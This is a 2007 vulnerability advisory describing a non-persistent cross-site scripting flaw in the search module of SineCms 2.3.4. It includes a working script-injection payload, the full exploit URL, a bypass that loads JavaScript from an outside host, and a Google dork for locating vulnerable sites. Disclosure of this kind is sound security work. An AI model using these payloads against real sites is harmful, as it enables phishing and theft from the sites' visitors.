SineCMS

[<nexus () playhack net>]

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"SineCms Version 2.3.4 - Non-Persistent XSS Vulnerability"
        by Nexus

1) Infos
---------
Date            : 2007-04-26 (ISO 8601)
Product         : SineCms
Version         : 2.3.4 (last), prior versions may also be affected
Vendor          : http://sourceforge.net/projects/sine - http://www.sinecms.net
Vendor Status   : 2007-04-26 - Informed!

Description     : SineCms is a management software for international communication 
                  based on hypertext.

Google Dork     : "SineCms Version: 2.3.4"

Source          : nexus
E-mail          : nexus[at]playhack[dot]net
Team            : Playhack.net Security


2) Security Issues
-------------------
The core module for Search engine is affected by a Non-Persistent Cross-Site Scripting
vulnerability.
The source in "mods/Core/result.php" doesn't properly sanitize the input of the user
and just get the submitted text without any previous check on the content.
The affected variable is $_GET['stringa'], as a matter of fact if we try to insert a
string like:
        "><script>alert(1);</script>
The website will retrieve an url like:
        host/path/mods.php?mods=Core&page=result&stringa=%22%3E%3Cscript%3Ealert%281
        %29%3C%2Fscript%3E&campo=all&criterio=tutte&ordine=decrescente

And it executes the JavaScript code.
The script makes only a check on apex, that can be simply avoided executing for 
example a remote script like
        "><script src=http://host.com/script.js></script>

It's easy to guess that this kind of vulnerability can be used to accomplish some
Phishing attacks, or whatever can be disfruted from an XSS flaw.


3) Patch
---------

Edit the core source code and sanitize properly the inputted data.